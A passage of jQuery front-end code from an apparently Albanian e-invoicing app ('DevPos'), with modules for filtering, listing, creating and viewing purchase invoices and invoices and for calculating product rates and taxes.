$('#feesList tbody tr:not(:last)').each(function() {
parameters.invoiceFees.push({
feeType: $(this).find('[name="feeType"]').val(),
amount: $(this).find('[name="amount"]').val(),
});
});
//add invoicePayments
parameters.invoicePayments = [];
$('#paymentMethodsList tbody tr:not(:last)').each(function() {
let payment = {
paymentMethodType: $(this).find('[name="paymentMethodType"]').val(),
amount: $(this).find('[name="amount"]').val()
};
if (payment.paymentMethodType == '2') {
payment.voucher = $(this).find('[name="voucher"]').val();
}
if (payment.paymentMethodType == '6') {
payment.accountId = $(this).find('[name="accountId"]').val();
}
parameters.invoicePayments.push(payment);
});
//extra
if (parameters.selfIssuing == '1') {
parameters.selfIssuingType = $modal.find('[name="selfIssuingType"]').val();
}
if ($modal.find('[name="isLateFiscalized"]').is(':checked')) {
parameters.subsequentDeliveryType = $modal.find('[name="subsequentDeliveryType"]').val();
}
return parameters;
};
//if (empty(this.item)) {
let params = parameters($('form#k_form_1'));
new Route(self.itemType).prefix(self.prefix).store(params, function(res) {
// //Page.reload(2000);
// opts.callback();
}, function(res) {
generalError(res.Msg||'Something went wrong!');
});
//}
// else {
// //add id
// opts.parameters.id = parseInt(opts.item.id);
// new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// // Page.reload(2000);
// opts.callback();
// }, function(res) {
// generalError();
// });
// }
},
search() {
return new Model(this.itemType);
},
view: function(eic) {
let downloadPDF = function (pdf) {
const linkSource = `data:application/pdf;base64,${pdf}`;
const downloadLink = document.createElement("a");
const fileName = "abc.pdf";
downloadLink.href = linkSource;
downloadLink.download = fileName;
downloadLink.click();
}
const b64toBlob = (b64Data, contentType='', sliceSize=512) => {
const byteCharacters = atob(b64Data);
const byteArrays = [];
for (let offset = 0; offset < byteCharacters.length; offset += sliceSize) {
const slice = byteCharacters.slice(offset, offset + sliceSize);
const byteNumbers = new Array(slice.length);
for (let i = 0; i < slice.length; i++) {
byteNumbers[i] = slice.charCodeAt(i);
}
const byteArray = new Uint8Array(byteNumbers);
byteArrays.push(byteArray);
}
const blob = new Blob(byteArrays, {type: contentType});
return blob;
}
new Route(this.itemType).prefix(this.prefix).query({eic: eic}).get(function(res) {
let pdfBase64 = res.Data[0].pdf;
//download it
//downloadPDF(pdfBase64);
window.open(URL.createObjectURL(b64toBlob(pdfBase64, 'application/pdf')));
});
//window.location.href = 'blob:https://demo.devpos.al/'+ eic;
}
},
EPurchaseInvoice: {
itemType: 'epurchase-invoices',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter(source = []) { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
// we add other filter condition here
if(!empty(parameters.documentNumber)) {
filtered = filtered.filter(row => {
return row.documentNumber.toLowerCase().startsWith(parameters.documentNumber.toLowerCase());
});
}if(!empty(parameters.buyerName)) {
filtered = filtered.filter(row => {
if (!empty(row.buyerName))
return row.buyerName.toLowerCase().startsWith(parameters.buyerName.toLowerCase());
});
}
if(!empty(parameters.buyerNuis)) {
filtered = filtered.filter(row => {
return row.buyerNuis.toLowerCase().startsWith(parameters.buyerNuis.toLowerCase());
});
}
if(!empty(parameters.eic)) {
filtered = filtered.filter(row => {
return row.eic.toLowerCase().startsWith(parameters.eic.toLowerCase());
});
}
if(!empty(parameters.invoiceStatus)) {
filtered = filtered.filter(row => {
return row.invoiceStatus.toLowerCase().startsWith(parameters.invoiceStatus.toLowerCase());
});
}
if(!empty(parameters.statusCanBeChanged)) {
filtered = filtered.filter(row => {
return row.statusCanBeChanged.toLowerCase().startsWith(parameters.statusCanBeChanged.toLowerCase());
});
}
if(!empty(parameters.amount_min)) {
filtered = filtered.filter(row => {
return row.amount >= parseFloat(parameters.amount_min);
});
}
if(!empty(parameters.amount_max)) {
filtered = filtered.filter(row => {
return row.amount <= parseFloat(parameters.amount_max);
});
}
if(!empty(parameters.dueDate_min)) {
filtered = filtered.filter(row => {
return row.dueDate >= parameters.dueDate_min;
});
}
if(!empty(parameters.dueDate_max)) {
filtered = filtered.filter(row => {
return row.dueDate <= parameters.dueDate_max;
});
}
if(!empty(parameters.created_min)) {
filtered = filtered.filter(row => {
return row.invoiceCreatedDate >= parameters.created_min;
});
}
if(!empty(parameters.created_max)) {
filtered = filtered.filter(row => {
return row.invoiceCreatedDate <= parameters.created_max;
});
}
//and in the end we return it
return filtered;
},
queryParameters() { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="main_filter"]') , true);
return parameters;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'code', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 30, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
amount: {field: 'amount', title: __('Amount')},
buyerName: {field: 'buyerName', title: __('Buyer Name')},
buyerNuis: {field: 'buyerNuis', title: __('Buyer Nuis')},
documentNumber: {field: 'documentNumber', title: __('Document Number')},
dueDate: {field: 'dueDate', title: __("Due Date"), type: "date", template: function(row){ return moment(row.invoiceCreatedDate).format("MM/DD/YYYY hh:mm"); }},
eic: {field: 'eic', title: __('EIC')},
invoiceCreatedDate: {field: 'invoiceCreatedDate', title: __("Created Date"), type: "date", template: function(row){ return moment(row.invoiceCreatedDate).format("MM/DD/YYYY hh:mm"); }},
invoiceStatus: {field: 'invoiceStatus', title: __('Invoice Status')},
partyType: {field: 'partyType', title: __('Party Type')},
sellerName: {field: 'sellerName', title: __('Seller Name')},
sellerNuis: {field: 'sellerNuis', title: __('Seller Nuis')},
statusCanBeChanged: {field: 'statusCanBeChanged', title: __('Status Can Be Changed')},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="${'blob:https://demo.devpos.al/'+ row.eic}" target="_blank" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('View')}" data-id="${row.eic}" ><i class="la la-eye"></i> </a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-eye').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.view(itemID);
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
new Route(this.itemType).prefix(this.prefix).query(this.queryParameters()).get(function(res) {
self.list({
columns: ['id', 'documentNumber', 'partyType', 'invoiceCreatedDate', 'dueDate', 'invoiceStatus', 'amount', 'buyerName', 'buyerNuis', 'actions'],
source: res.Data,
filter: function(source = []) {
return self.filter(source);
}
});
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'xl',
template: templates()[self.prefix][self.itemType].template({item: opts.item, tcrs: Cache.get('tcrs')}),
parameters: function($modal) {
let parameters = Modal.parameters($modal);
//set invoiceType = 1
parameters.invoiceType = 1;
parameters.isEinvoice = true;
//add customer
if (empty(parameters.customer.idNumber) && empty(parameters.customer.name))
delete parameters.customer;
//add products
parameters.invoiceProducts = [];
$('#productsList tbody tr').each(function() {
parameters.invoiceProducts.push({
productId: $(this).attr('data-product-id'),
barcode: $(this).attr('data-barcode'),
isInvestment: $(this).attr('data-investment'),
name: $(this).find('[data-attribute="name"]').text().trim(),
isRebateReducingBasePrice: 1,
rebatePrice: 0,
unit: $(this).find('[data-attribute="unit"]').text().trim(),
quantity: $(this).find('[name="quantity"]').val().trim(),
unitPrice: parseFloat($(this).find('[name="unitPrice"]').val()?.trim()||0),
vatRate: $(this).find('[data-attribute="vatRate"]').text().trim(),
});
});
//add fees
parameters.invoiceFees = [];
$('#feesList tbody tr:not(:last)').each(function() {
parameters.invoiceFees.push({
feeType: $(this).find('[name="feeType"]').val(),
amount: $(this).find('[name="amount"]').val(),
});
});
//add invoicePayments
parameters.invoicePayments = [];
$('#feesList tbody tr:not(:last)').each(function() {
let payment = {
paymentMethodType: $(this).find('[name="paymentMethodType"]').val(),
amount: $(this).find('[name="amount"]').val()
};
if (payment.paymentMethodType == '2') {
payment.voucher = $(this).find('[name="voucher"]').val();
}
if (payment.paymentMethodType == '6') {
payment.accountId = $(this).find('[name="accountId"]').val();
}
parameters.invoicePayments.push(payment);
});
//extra
if (parameters.selfIssuing == '1') {
parameters.selfIssuingType = $modal.find('[name="selfIssuingType"]').val();
}
if ($modal.find('[name="isLateFiscalized"]').is(':checked')) {
parameters.subsequentDeliveryType = $modal.find('[name="subsequentDeliveryType"]').val();
}
return parameters;
},
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
product: {
add($modal) {
if(typeof $modal == 'undefined')
$modal = $('.modal:visible');
$modal.find('.productLine:last').after( DevPos.Invoice.product.component() );
//focus input
$modal.find('.productLine:last input.tt-input').focus();
},
calculateTax: function(opts = {}) {
let defaults = {
tax: {},
rate: 0,
discount: 0,
productLine: null
};
opts = $.extend(defaults, opts);
if (!empty(opts.productLine)) {
opts.rate = parseFloat(opts.productLine.find('[name="rate"]').attr('data-rate')||0);
opts.discount = parseFloat(opts.productLine.find('[name="discount"]').val()||0);
}
console.log(opts);
//now we calculate the tax value based on it configuration, rate and discount
let tax = 0;
if (opts.tax.type == 'On Net Total') {
tax = (opts.rate - opts.discount) * opts.tax.rate / 100;
}
else if (opts.tax.type == 'Actual') {
tax = opts.tax.amount ;
}
return parseFloat(tax);
},
component: function(first = false, doctors = []) {
let self = this;
let defaults = Cache.get('doctors');
doctors = $.extend(defaults, doctors);
let html =
`<div class="input-group input-group-lg-group productLine mb-3">
<div class="col-3 px-0">
${Html.input({
name: 'product_id',
class: 'form-control mb-3',
placeholder: __('Choose product'),
shown: function(elm) {
$(elm).productSuggestion({
source: function(instance, query, sync, async) {
//filter all products that is not selected on any other line
let selected = [];
// $(instance).closest('form').find('[name="product_id"]').each(function(){
// let id = $(this).attr('data-suggest-id');
// if (!empty(id)) {
// selected.push(id);
// }
// });
return new Model('products').select('id', 'name').where('name', 'like', query +'%').when(selected.length, function($query){
$query.whereNotIn('id', selected);
}).limit(5).get(function(res) {
async(res.Data);
});
},
onSelect: function(suggestion, instance) {
//when we choose the product => we load doctors and rate with their pricing rules
let parameters = Modal.parameters($('.vModal:visible'));
let patient_id = parameters.patient_id;
let price_list_id = parameters.price_list_id;
let applyPricingRules = parameters.disable_pricing_rules ? 0:1;
let discount_id = parameters.discount_id;
let products_id = $('.vModal:visible').find('[name="product_id"].is-valid').map(function(){ return this.getAttribute('data-suggest-id') }).get();
let total_products_quantity = $('.vModal:visible').find('[name="product_id"].is-valid').length;
let subtotal = $('.vModal:visible').find('.subtotal').text().trim();
new MAPI(
new Model('users').select('users.id', 'users.name', 'product_doctor.rate').join('product_doctor', 'users.id', '=', 'user_id'),
new Model('products').method('getRates').parameters({product_id: suggestion.id, patient_id, discount_id, products_id, total_products_quantity, subtotal, price_list_id, applyPricingRules}),
new Model('products').method('pricingRules').parameters({product_id: suggestion.id, patient_id: patient_id}),
new Model('taxes').whereHas('productes', function($query) {
return $query.where('id', suggestion.id);
}).limit(1)
).call(function(doctors, rates, pricingRules, tax) {
$(instance).closest('.productLine').find('select[name="doctor_id"]').html(doctors.map(x => {
return '<option value="'+ x.id +'" data-rate="'+ rates.Rate +'">'+ x.name +'</option>';
}).join(''));
//set rate
let rate = $(instance).closest('.productLine').find('select[name="doctor_id"] option:selected').attr('data-rate');
$(instance).closest('.productLine').find('[name="rate"]').val(rates.Rate).attr('data-rate', rates.Rate);
//set tax
if (!empty(rates.Tax)) {
let tax_amount = DevPos.Invoice.product.calculateTax({tax: rates.Tax, productLine: $(instance).closest('.productLine')});
$(instance).closest('.productLine').find('[name="tax"]').val(tax_amount).attr('data-value', tax_amount);
}
//fire trigger
$(instance).closest('form').trigger('invoice.change');
//lastly we load the pricing rules for this product
Invoice.pricing_rules.add(pricingRules);
});
},
onDeselect: function(instance) {
$(instance).closest('.productLine').find('[name="doctor_id"]').html('');
$(instance).closest('.productLine').find('[name="rate"]').val('').attr('data-rate', '');
//fire trigger
$(instance).closest('form').trigger('invoice.change');
}
});
}
})}
</div>
<div class="col-2 float-left px-0 input-group-append">
<input class="form-control text-right" name="rate" placeholder="${__('price')}" disabled>
</div>
<div class="col-2 float-left px-0 input-group-append">
<input class="form-control text-right" name="discount" placeholder="${__('discount')}" disabled>
</div>
<div class="col-2 float-left px-0 input-group-append">
<input class="form-control text-right" name="tax" placeholder="${__('tax')}" disabled>
</div>
<div class="col-2 float-left px-0 input-group-append">
${Html.select({
name: 'doctor_id',
class: 'form-control',
options: [__('Choose doctor')],
onChange: function(elm) {
let rate = $(elm).find('option:selected').attr('data-rate');
//set rate
$(elm).closest('.productLine').find('input[name="rate"]').val(rate).attr('data-rate', rate);
//re calculate summaries
$(elm).closest('form').trigger('invoice.change');
},
})}
</div>
${(first == true ? ``:`<div class="input-group-append col-1 px-0">
<a href="javascript:void(0)" class="input-group-text" id="basic-addon1" onClick="Invoice.product.remove(this);"><i class="fa fa-trash k-font-danger"></i></a>
</div>`)}
</div>`;
return html;
},
reloadRates: function(opts = {}) {
if ($('.vModal:visible').find('[name="product_id"]').length < 1)
return;
//we will run this method every time a trait of invoice is changed: patient_id/price_list_id/disable pricing rules...
let parameters = Modal.parameters($('.vModal:visible'));
$('.vModal:visible').find('[name="product_id"]').each(function(){
if (empty($(this).attr('data-suggest-id')))
return;
let self = this;
let product_id = $(this).attr('data-suggest-id');
new Model('products').method('getRates').parameters({
product_id: product_id,
patient_id: parameters.patient_id,
discount_id: parameters.discount_id,
products_id: $('.vModal:visible').find('[name="product_id"].is-valid').map(function(){ return this.getAttribute('data-suggest-id') }).get(),
total_products_quantity: $('.vModal:visible').find('[name="product_id"].is-valid').length,
subtotal: $('.vModal:visible').find('.subtotal').text().trim(),
price_list_id: parameters.price_list_id,
applyPricingRules: parameters.disable_pricing_rules ? 0:1,
}).call(function(res) {
$(self).closest('.productLine').find('[name="rate"]').val(res.Data.Rate).attr('data-rate', res.Data.Rate).change();
$(self).closest('.productLine').find('[name="discount"]').val(priceNum(res.Data.DiscountAmount)).attr('data-discount', res.Data.DiscountAmount).change();
//set tax
if (!empty(res.Data.Tax)) {
let tax_amount = Invoice.product.calculateTax({tax: res.Data.Tax, productLine: $(self).closest('.productLine')});
console.log(tax_amount);
$(self).closest('.productLine').find('[name="tax"]').val(tax_amount).attr('data-value', tax_amount);
}
//fire invoice change
Invoice.summaries.calculate();
//new Buffer('reCalculateSummaries', Invoice.summaries.calculate, 600);
});
});
},
reloadTaxes: function(opts = {}) {
//if there aren't any product -> we skip this fn
if ($('.vModal:visible').find('[name="product_id"]').length < 1)
return;
let parameters = Modal.parameters($('.vModal:visible'));
let defaults = {
tax_id: parameters.tax_id
};
opts = $.extend(defaults, opts);
//we will run this method every time a trait of invoice is changed: patient_id/price_list_id/disable pricing rules...
//first we have to load tax from db
new MAPI(
new Model('taxes').where('id', opts.tax_id).limit(1)
).call(function(tax) {
$('.vModal:visible').find('[name="product_id"]').each(function(){
if (empty($(this).attr('data-suggest-id')))
return;
//we have to get tax for each product to check
let self = this;
let product_id = $(this).attr('data-suggest-id');
new Model('products').method('getRates').parameters({
product_id: product_id,
patient_id: parameters.patient_id,
discount_id: parameters.discount_id,
products_id: $('.vModal:visible').find('[name="product_id"].is-valid').map(function(){ return this.getAttribute('data-suggest-id') }).get(),
total_products_quantity: $('.vModal:visible').find('[name="product_id"].is-valid').length,
subtotal: $('.vModal:visible').find('.subtotal').text().trim(),
price_list_id: parameters.price_list_id,
applyPricingRules: parameters.disable_pricing_rules ? 0:1,
}).call(function(res) {
$(self).closest('.productLine').find('[name="rate"]').val(res.Data).attr('data-rate', res.Data).change();
$(self).closest('.productLine').find('[name="discount"]').val(priceNum(res.DiscountAmount)).attr('data-discount', res.DiscountAmount).change();
//set tax
if (!empty(res.Tax)) {
let tax_amount = Invoice.product.calculateTax({tax: res.Tax, productLine: $(self).closest('.productLine')});
$(self).closest('.productLine').find('[name="tax"]').val(tax_amount).attr('data-value', tax_amount);
}
//fire invoice change
Invoice.summaries.calculate();
//new Buffer('reCalculateSummaries', Invoice.summaries.calculate, 600);
});
});
});
},
loadDiscount: function(opts = {}) {
if ($('.vModal:visible').find('[name="product_id"]').length < 1)
return;
//we will run this method every time a trait of invoice is changed: patient_id/price_list_id/disable pricing rules...
let parameters = Modal.parameters($('.vModal:visible'));
$('.vModal:visible').find('[name="product_id"]').each(function() {
if (empty($(this).attr('data-suggest-id')))
return;
let self = this;
let product_id = $(this).attr('data-suggest-id');
new Model('products').method('getDiscount').parameters({
product_id: product_id,
patient_id: parameters.patient_id,
price_list_id: parameters.price_list_id,
applyPricingRules: parameters.disable_pricing_rules ? 0:1
}).call(function(res) {
$(self).closest('.productLine').find('[name="rate"]').val(res.Data).attr('data-rate', res.Data).change();
//fire invoice change
Invoice.summaries.calculate();
});
});
},
remove(elm) {
let $form = $(elm).closest('form');
$(elm).closest('.productLine').remove();
//fire trigger
$form.trigger('invoice.change');
//after resetting summaries we reload the rates bc we have to send new subtotal to server
//reload Rates for products present already
this.reloadRates();
},
removeLast($modal) {
//remove last
if ($modal.find('.productLine').length == 1)
return;
$modal.find('.productLine:last').remove();
//fire trigger
$modal.find('form').trigger('invoice.change');
}
},
save: function() {
let self = this;
let parameters = function($modal) {
let parameters = Modal.parameters($modal);
//set invoiceType = 1
parameters.invoiceType = 1;
parameters.isEInvoice = true;
//add customer
if (empty(parameters.customer.idNumber) && empty(parameters.customer.name))
delete parameters.customer;
//add products
parameters.invoiceProducts = [];
$('#productsList tbody tr').each(function() {
parameters.invoiceProducts.push({
productId: $(this).attr('data-product-id'),
barcode: $(this).attr('data-barcode'),
isInvestment: $(this).attr('data-investment'),
name: $(this).find('[data-attribute="name"]').text().trim(),
isRebateReducingBasePrice: 1,
rebatePrice: 0,
unit: $(this).find('[data-attribute="unit"]').text().trim(),
quantity: $(this).find('[name="quantity"]').val().trim(),
unitPrice: parseFloat($(this).find('[name="unitPrice"]').val()?.trim()||0),
vatRate: $(this).find('[data-attribute="vatRate"]').text().trim(),
});
});
//add fees
parameters.invoiceFees = [];
$('#feesList tbody tr:not(:last)').each(function() {
parameters.invoiceFees.push({
feeType: $(this).find('[name="feeType"]').val(),
amount: $(this).find('[name="amount"]').val(),
});
});
//add invoicePayments
parameters.invoicePayments = [];
$('#paymentMethodsList tbody tr:not(:last)').each(function() {
let payment = {
paymentMethodType: $(this).find('[name="paymentMethodType"]').val(),
amount: $(this).find('[name="amount"]').val()
};
if (payment.paymentMethodType == '2') {
payment.voucher = $(this).find('[name="voucher"]').val();
}
if (payment.paymentMethodType == '6') {
payment.accountId = $(this).find('[name="accountId"]').val();
}
parameters.invoicePayments.push(payment);
});
//extra
if (parameters.selfIssuing == '1') {
parameters.selfIssuingType = $modal.find('[name="selfIssuingType"]').val();
}
if ($modal.find('[name="isLateFiscalized"]').is(':checked')) {
parameters.subsequentDeliveryType = $modal.find('[name="subsequentDeliveryType"]').val();
}
return parameters;
};
//if (empty(this.item)) {
let params = parameters($('form#k_form_1'));
new Route(self.itemType).prefix(self.prefix).store(params, function(res) {
// //Page.reload(2000);
// opts.callback();
}, function(res) {
generalError(res.Msg||'Something went wrong!');
});
//}
// else {
// //add id
// opts.parameters.id = parseInt(opts.item.id);
// new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// // Page.reload(2000);
// opts.callback();
// }, function(res) {
// generalError();
// });
// }
},
search() {
return new Model(this.itemType);
},
view: function(eic) {
let downloadPDF = function (pdf) {
const linkSource = `data:application/pdf;base64,${pdf}`;
const downloadLink = document.createElement("a");
const fileName = "abc.pdf";
downloadLink.href = linkSource;
downloadLink.download = fileName;
downloadLink.click();
}
const b64toBlob = (b64Data, contentType='', sliceSize=512) => {
const byteCharacters = atob(b64Data);
const byteArrays = [];
for (let offset = 0; offset < byteCharacters.length; offset += sliceSize) {
const slice = byteCharacters.slice(offset, offset + sliceSize);
const byteNumbers = new Array(slice.length);
for (let i = 0; i < slice.length; i++) {
byteNumbers[i] = slice.charCodeAt(i);
}
const byteArray = new Uint8Array(byteNumbers);
byteArrays.push(byteArray);
}
const blob = new Blob(byteArrays, {type: contentType});
return blob;
}
new Route(this.itemType).prefix(this.prefix).query({eic: eic}).get(function(res) {
let pdfBase64 = res.Data[0].pdf;
//download it
//downloadPDF(pdfBase64);
window.open(URL.createObjectURL(b64toBlob(pdfBase64, 'application/pdf')));
});
//window.location.href = 'blob:https://demo.devpos.al/'+ eic;
}
},
Invoice: {
itemType: 'invoices',
prefix: 'devpos',
cancel: function(iic) {
let self = this;
swalConfirm({
text: '',
type: 'question',
confirm: function(opts) {
new Route(self.itemType).prefix(self.prefix).whereId(iic).action('cancel').put({}, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
});
},
create: function() {
return this.modal();
},
correct: function(iic) {
return this.modal({iic: iic});
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
download: function(eic) {
return Export.html2pdf({
html: this.replaceCanvasWithImage($('#invoiceContent')).html(),
withHeader: false
});
},
edit(iic) {
let self = this;
//first get it from db
return self.modal({iic: iic});
},
export: function() {
//download it
window.location.href = '/'+ this.prefix +'/'+ this.itemType +'/export?'+ $.param(this.queryParameters());
},
filter(source = []) { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
// we add other filter condition here
if(!empty(parameters.operatorName)) {
filtered = filtered.filter(row => {
return row.operatorName.toLowerCase().startsWith(parameters.operatorName.toLowerCase());
});
}if(!empty(parameters.customerBusinessName)) {
filtered = filtered.filter(row => {
if (!empty(row.customerBusinessName))
return row.customerBusinessName.toLowerCase().startsWith(parameters.customerBusinessName.toLowerCase());
});
}
if(!empty(parameters.name)) {
filtered = filtered.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
if(!empty(parameters.total_min)) {
filtered = filtered.filter(row => {
return row.totalPrice >= parseFloat(parameters.total_min);
});
}
if(!empty(parameters.total_max)) {
filtered = filtered.filter(row => {
return row.totalPrice <= parseFloat(parameters.total_max);
});
}
if(!empty(parameters.created_min)) {
filtered = filtered.filter(row => {
return row.dateTimeCreated >= parameters.created_min;
});
}
if(!empty(parameters.created_max)) {
filtered = filtered.filter(row => {
return row.dateTimeCreated <= parameters.created_max;
});
}
//and in the end we return it
return filtered;
},
queryParameters() { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="main_filter"]') , true);
return parameters;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'code', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 30, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
businessUnitCode: {field: 'businessUnitCode', title: __('Business Unit Code')},
clientApplication: {field: 'clientApplication', title: __('Client Application')},
customerAddress: {field: 'customerAddress', title: __('Customer Address')},
customerBusinessName: {field: 'customerBusinessName', title: __('Customer')},
customerCity: {field: 'customerCity', title: __('Customer City')},
customerDetails: {field: 'customerDetails', title: __('Customer Details')},
customerId: {field: 'customerId', title: __('Customer Id')},
customerIdNumber: {field: 'customerIdNumber', title: __('Customer Id Number')},
customerIdType: {field: 'customerIdType', title: __('Customer Id Type')},
documentType: {field: 'documentType', title: __('Document Type')},
eic: {field: 'eic', title: __('EIC')},
exchangeRate: {field: 'exchangeRate', title: __('Exchange Rate')},
fiscNumber: {field: 'fiscNumber', title: __('Fisc Number')},
iic: {field: 'iic', title: __('IIC')},
invoiceNumber: {field: 'invoiceNumber', title: __('Invoice Number')},
invoiceOrderNumber: {field: 'invoiceOrderNumber', title: __('Invoice Order Number')},
invoiceType: {field: 'invoiceType', title: __('Invoice Type')},
isACorrectedInvoice: {field: 'isACorrectedInvoice', title: __('Is A Corrected Invoice')},
isCorrectiveInvoice: {field: 'isCorrectiveInvoice', title: __('Is Corrective Invoice')},
isEInvoice: {field: 'isEInvoice', title: __('IsEInvoice')},
isReverseCharge: {field: 'isReverseCharge', title: __('Is Reverse Charge')},
isSelfIssuingAffectWareHouse: {field: 'isSelfIssuingAffectWareHouse', title: __('Is Self Issuing Affect WareHouse')},
isSentAsEInvoice: {field: 'isSentAsEInvoice', title: __('Is Sent As EInvoice')},
isSubsequentDelivery: {field: 'isSubsequentDelivery', title: __('Is Subsequent Delivery')},
markUpAmount: {field: 'markUpAmount', title: __('Mark Up Amount')},
notes: {field: 'notes', title: __('Notes')},
operatorCode: {field: 'operatorCode', title: __('Operator Code')},
operatorName: {field: 'operatorName', title: __('Operator Name')},
payDeadline: {field: 'payDeadline', title: __('Pay Deadline')},
process: {field: 'process', title: __('Process')},
sellerAddress: {field: 'sellerAddress', title: __('Seller Address')},
softCode: {field: 'softCode', title: __('Soft Code')},
taxFreeAmount: {field: 'taxFreeAmount', title: __('Tax Free Amount')},
tcrCode: {field: 'tcrCode', title: __('Tcr Code')},
totalPrice: {field: 'totalPrice', title: __('Total Price'), template: function(row){ return priceNum(row.totalPrice); }},
totalPriceWithoutVAT: {field: 'totalPriceWithoutVAT', title: __('Total Price Without VAT')},
totalVATAmount: {field: 'totalVATAmount', title: __('Total VAT Amount')},
transporterIdType: {field: 'transporterIdType', title: __('Transporter Id Type')},
valuesAreInForeignCurrency: {field: 'valuesAreInForeignCurrency', title: __('Values Are In Foreign Currency')},
verificationUrl: {field: 'verificationUrl', title: __('Verification Url')},
warehouseId: {field: 'warehouseId', title: __('WarehouseId')},
dateTimeCreated: {field: 'dateTimeCreated', title: __("Created Date"), type: "date", template: function(row){ return moment(row.dateTimeCreated).format("MM/DD/YYYY"); }},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.iic}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('View')}" data-id="${row.id}"><i class="la la-eye"></i></a>
`;
}}
},
total: {
get: true,
attribute: 'totalPrice',
currentPage: true,
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-eye').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.view(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
new Route(this.itemType).prefix(this.prefix).query(this.queryParameters()).get(function(res) {
let totalRows = [
{
"total": 0,
"totalRow": true,
"currentPageTotal": true
},
{
"total": res.Data?.reduce((partialSum, a) => partialSum + parseFloat(a.totalPrice), 0),
"totalRow": true
}
];
console.log(totalRows);
self.list({
columns: ['id', 'operatorName', 'invoiceNumber', 'dateTimeCreated', 'totalPrice', 'customerBusinessName', 'amount', 'notes', 'actions'],
additionalColumns: ['isCorrectiveInvoice', 'isACorrectedInvoice'],
source: res.Data.concat(totalRows),
filter: function(source = []) {
return self.filter(source);
}
});
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'xl',
template: templates()[self.prefix][self.itemType].template({
item: opts.item,
idTypes: Cache.get('idTypes'),
countries: Cache.get('countries'),
tcrs: Cache.get('tcrs')
}),
parameters: function($modal) {
let parameters = Modal.parameters($modal);
//add customer
if (empty(parameters.customer.idNumber) && empty(parameters.customer.name))
delete parameters.customer;
//add products
parameters.invoiceProducts = [];
$('#productsList tbody tr').each(function() {
parameters.invoiceProducts.push({
productId: $(this).attr('data-product-id'),
barcode: $(this).attr('data-barcode'),
isInvestment: $(this).attr('data-investment'),
name: $(this).find('[data-attribute="name"]').text().trim(),
isRebateReducingBasePrice: 1,
rebatePrice: 0,
unit: $(this).find('[data-attribute="unit"]').text().trim(),
quantity: $(this).find('[name="quantity"]').val().trim(),
unitPrice: parseFloat($(this).find('[name="unitPrice"]').val()?.trim()||0),
vatRate: $(this).find('[data-attribute="vatRate"]').text().trim(),
});
});
//add fees
parameters.invoiceFees = [];
